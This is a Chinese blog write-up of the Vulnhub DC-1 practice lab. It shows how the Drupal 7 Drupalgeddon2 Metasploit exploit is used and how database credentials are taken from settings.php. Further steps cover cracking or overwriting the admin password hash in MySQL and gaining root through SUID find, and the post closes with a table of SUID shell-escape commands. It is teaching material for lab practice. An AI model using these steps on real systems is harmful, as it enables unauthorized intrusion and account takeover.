ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

DC-1 完整渗透测试笔记

2026/8/9 8:46:56 拓冰建站 浏览量
DC-1 完整渗透测试笔记

文章目录

  • DC-1 完整渗透测试笔记:从 Drupalgeddon2 到 root flag
    • 一、靶场简介
    • 二、环境搭建
      • 2.1 主机与靶机网络配置
      • 2.2 验证连通性
    • 三、信息收集
      • 3.1 主机发现(arp-scan)
      • 3.2 端口扫描(nmap)
      • 3.3 Web 服务指纹识别(whatweb)
    • 四、漏洞利用(Drupalgeddon2 / CVE-2018-7600)
      • 4.1 漏洞背景
      • 4.2 漏洞验证
      • 4.3 使用 Metasploit 渗透框架
      • 4.4 配置 Exploit 参数
      • 4.5 获取交互式 Shell
    • 五、后渗透——Flag 1~4
      • 5.1 查找 Flag 1
      • 5.2 通过配置文件获取数据库凭据(Flag 2)
      • 5.3 进入 MySQL 数据库
      • 5.4 破解管理员密码(Flag 3)
      • 5.5 登录网站
      • 5.6 查找 Flag 4
    • 六、权限提升(SUDO → SUID 提权)
      • 6.1 提权思路
      • 6.2 查找 SUID 文件
      • 6.3 SUID 提权利用
      • 6.4 读取最终 Flag
    • 七、总结
      • 7.1 漏洞链关键点
      • 7.2 学习要点
      • 7.3 提权命令清单(面试时可能问到)
    • 八、参考资料

DC-1 完整渗透测试笔记:从 Drupalgeddon2 到 root flag

一、靶场简介

DC-1 是 Vulnhub 上的经典入门级 Linux 渗透靶机,主要模拟一个使用 Drupal 7 CMS 搭建的网站。该靶机的整体流程为:

信息收集 → 漏洞利用(Drupalgeddon2) → 数据库访问 → 后台获取 flag → SUID 提权(find) → 读取 root flag

靶场地址:https://www.vulnhub.com/entry/dc-1-1,292/


二、环境搭建

2.1 主机与靶机网络配置

靶机导入 VirtualBox / VMware 后,要Kali 攻击机同样接入同一内网即可。比如网络适配器都选择NAT模式。
修改靶机的网络配置或者打开靶机可能会有下面报错:这是因为VMware版本过高。

只需要修改虚拟机的硬件兼容性就好了,把版本改低就行


这两个选项随便哪个都可以

之后就可以正常修改配置和开启靶机了。

2.2 验证连通性

# 启动 Kali,确认与靶机同网段ifconfig# 攻击机 IP 为 192.168.157.130


三、信息收集

3.1 主机发现(arp-scan)

arp-scan-l

输出:

确认靶机 IP:192.168.157.151

3.2 端口扫描(nmap)

nmap-sS-sV-sC-p-192.168.157.151 参数含义: -sS:最常用且默认的扫描方式,也称为"半开扫描"。特点:快速且隐蔽,不完成TCP三次握手,需要root权限。 -sV:探测服务的详细版本信息 -sC:调用 default 默认轻量脚本,日常扫服务首选,风险低 -p-:扫描所有65535个端口

输出结果:

开放端口:22 (SSH)80 (HTTP)

3.3 Web 服务指纹识别(whatweb)

  1. 访问网站:使用插件查看得到CMS使用的是Drupal 7

也可以使用whatweb查看

whatweb http://192.168.157.151

输出结果:

确认:目标基于 Drupal 7 搭建


四、漏洞利用(Drupalgeddon2 / CVE-2018-7600)

4.1 漏洞背景

Drupal 7 < 7.58 版本存在远程代码执行漏洞(CVE-2018-7600),由于 Forms API 缺乏对输入数据的充分过滤,导致攻击者可以注入 PHP 代码并执行任意命令。

4.2 漏洞验证

访问 Drupal 7 站点可见默认首页,点击任意节点(如?q=node/1)触发 Drupalgeddon2 漏洞。

4.3 使用 Metasploit 渗透框架

# 启动 Metasploitmsfconsole-q#-q:静默启动# 搜索对应漏洞利用模块search drupal

匹配模块:

可以看到有很多漏洞,选择等级最高的漏洞模块并且时间最新,所以选择2018年的

4.4 配置 Exploit 参数

use1

show options#列出当前模块所有可配置参数、必填项、默认值、参数说明

这个标志是yes的,都是必填项

setRHOSTS192.168.157.151#设置攻击目标

exploit#漏洞利用

执行成功后获得 Meterpreter Shell:可执行上传下载、提权、查看系统信息等后渗透操作

4.5 获取交互式 Shell

# 进入 bashshell# 升级为完全交互 TTY(使用 python)python-c'import pty; pty.spawn("/bin/bash")'

当前用户:www-data(Apache 运行用户)


五、后渗透——Flag 1~4

5.1 查找 Flag 1

Drupal 7 默认的 flag 1 文件路径:/var/www/html/flag1.txt

可以使用find进行查找flag文件

find/-name*flag*

cat/var/www/html/flag1.txt

Flag 1:Every good CMS needs a config file - and so do you.


5.2 通过配置文件获取数据库凭据(Flag 2)

根据flag1:每一套完善的内容管理系统都需要配置文件,你同样需要。知道需要去看CMS的配置文件

Drupal 配置数据库信息在:sites/default/settings.php
也可以之间用find进行查找

find/-namesettings*

cat/var/www/html/sites/default/settings.php


获得flag2:Brute force and dictionary attacks aren’t the only ways to gain access (and you WILL need access).What can you do with these credentials?(暴力破解与字典攻击并非获取访问权限的唯一手段(而你必然需要拿到访问权限)。拿到这些账号凭据后你能做些什么?)

配置文件中包含 MySQL 数据库账号密码:

'database'=>'drupaldb','username'=>'dbuser','password'=>'R0ck3t',

5.3 进入 MySQL 数据库

mysql-udbuser-p# 输入密码 R0ck3t

use drupaldb;show tables;

可以看到一个users表:

5.4 破解管理员密码(Flag 3)

# 提取管理员密码哈希selectname,passfromusers;#不知道name,pass字段可以直接select * from users;

得到admin用户的密码哈希:

admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

使用 John the Ripper 破解:

echo'$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR'>/tmp/admin_hash.txt john /tmp/admin_hash.txt--wordlist=/usr/share/wordlists/rockyou.txt

但是这种方法非常的慢,而且容易爆不出来。
可以通过update修改admin密码进行登陆
要修改这个密码,就要先找到加密文件。
先退出mysql:exit;
查找文件:

查看文件:

若不携带 --root 参数运行该脚本,请在你的 Drupal 程序安装根目录执行该脚本
回到www目录执行加密文件:

php scripts/password-hash.sh123456#123456就是新密码


得到新密码哈希值

$S$DJW7/SVc797lXawr4h3djtuNdNMg.k47kJdLbU3rjISOOe4gtmW0

重新进入mysql,修改密码:

mysql-udbuser-p#密码:R0ck3tuse drupaldb;updateuserssetpass='$S$DJW7/SVc797lXawr4h3djtuNdNMg.k47kJdLbU3rjISOOe4gtmW0'wherename='admin';


检查有没有修改成功:

可以看到admin的密码已经修改,新密码就是123456

5.5 登录网站

访问:http://192.168.157.151/

使用admin / 123456登录后台。

在网站查找flag3:


Flag 3:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

Flag 3:特殊权限能够帮你找到口令文件(passwd),但你需要使用 - exec 参数执行对应命令,才能找到影子密码文件(shadow)内存储的内容。


5.6 查找 Flag 4

flag3提示了一些信息:passwdshadow

/etc/passwd
该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
/etc/shadow
该文件存储了系统用户的密码等信息,只有root权限用户才能读取

读取/etc/passwd文件可以发现几个用户,flag4用户为靶机设计的目标用户。

查看flag4文件:

Flag 4:Can you use this same method to find or access the flag in root?Probably. But perhaps it’s not that easy. Or maybe it is?
Flag 4:你能用同样的方法查找或获取 root 目录下的标记文件吗?或许可以,但过程可能没那么容易,又或许很简单?

六、权限提升(SUDO → SUID 提权)

6.1 提权思路

由于当前是www-data用户,需要提权到 root。常见的提权路径有:

  1. SUID 提权
    原理:Linux 文件权限中有一个特殊标志位叫 SUID(Set User ID)。当二进制程序被设置了 SUID 位(例如 rwsr-xr-x 中的 s)时,任何用户运行该程序,都会临时拥有该程序所有者(通常是 root)的权限。
    利用方式:系统中有很多合法程序设置了 SUID(如 ping、mount)。但如果某些具备交互式 shell 调用或文件读写功能的程序(如 find、vim、nmap、python)被设置了 SUID,攻击者就可以利用它们的参数来派生 root shell。
  2. sudo 提权
    原理:sudo 允许普通用户以 root(或其他用户)身份执行特定命令,权限由 /etc/sudoers 文件控制。如果配置不当(例如允许用户无密码运行某些高危命令),就可以提权。
    利用方式:使用 sudo -l 查看当前用户被允许执行哪些命令。如果发现允许执行 find、vim、less、awk 等支持 ! 执行 shell 的程序,就能利用它们逃逸出受限环境。
  3. 内核漏洞提权
    原理:Linux 内核本身存在漏洞(如内存竞争、权限校验缺陷),攻击者编写并运行 exp(漏洞利用程序),直接提升进程权限至 root。这种方式不依赖文件权限或 sudo 配置。
    利用方式:用 uname -a 查看内核版本,搜索对应的漏洞利用代码(如 DirtyCow、overlayfs、perf_event)。下载到靶机编译运行即可。

6.2 查找 SUID 文件

find/-perm-u=s2>/dev/null

关键发现:

/usr/bin/find

find命令拥有 SUID 权限,这是 DC-1 的经典利用点。
find命令自带了 -exec 和 -ok 参数,这两个参数的作用是:对搜索到的每一个文件,执行后面跟随的系统命令。

因为它以 root 权限运行,所以 -exec 调用的任何命令都会继承 root 权限。利用它提权只需要一行代码

6.3 SUID 提权利用

根据 GTFOBins 公开的 Linux 提权方法:

find.-exec/bin/sh\;-quit


使用whoami验证身份。
成功获得 root shell。

6.4 读取最终 Flag

find/root-name"*flag*"cat/root/thefinalflag.txt

Final Flag:Well done!!!
Hopefully you’ve enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7


七、总结

7.1 漏洞链关键点

DC-1 的完整漏洞利用链:

nmap 扫描 → 22/80 端口开放 ↓ web 指纹识别 → Drupal 7 框架 ↓ Metasploit Drupalgeddon2 → 获取 www-data 权限 ↓ 读取 settings.php → 获取数据库凭据 ↓ MySQL 数据库 → 提取管理员哈希 / 修改 admin 密码 ↓ 进入后台 + 多用户登录 → Flag 1-4 ↓ find SUID 提权 → root shell → Final Flag

7.2 学习要点

  1. 信息收集很关键:nmap + whatweb 这两步就锁定了 Drupal 7 框架
  2. CMS 漏洞:Drupal、WordPress、Joomla 这三大 CMS 的历史漏洞
  3. 配置文件常泄露凭据settings.phpwp-config.phpconfiguration.php都是关键
  4. SUID 提权是基本功findvimlessawknmap等都是常见的 SUID 提权命令

7.3 提权命令清单(面试时可能问到)

SUID 命令提权方法
findfind . -exec /bin/sh \;
vimvim -c ':!/bin/sh'
lessless /etc/profile!/bin/sh
awkawk 'BEGIN {system("/bin/sh")}'
nmapnmap --interactive(旧版)

八、参考资料

  • GTFOBins 提权命令大全:https://gtfobins.github.io/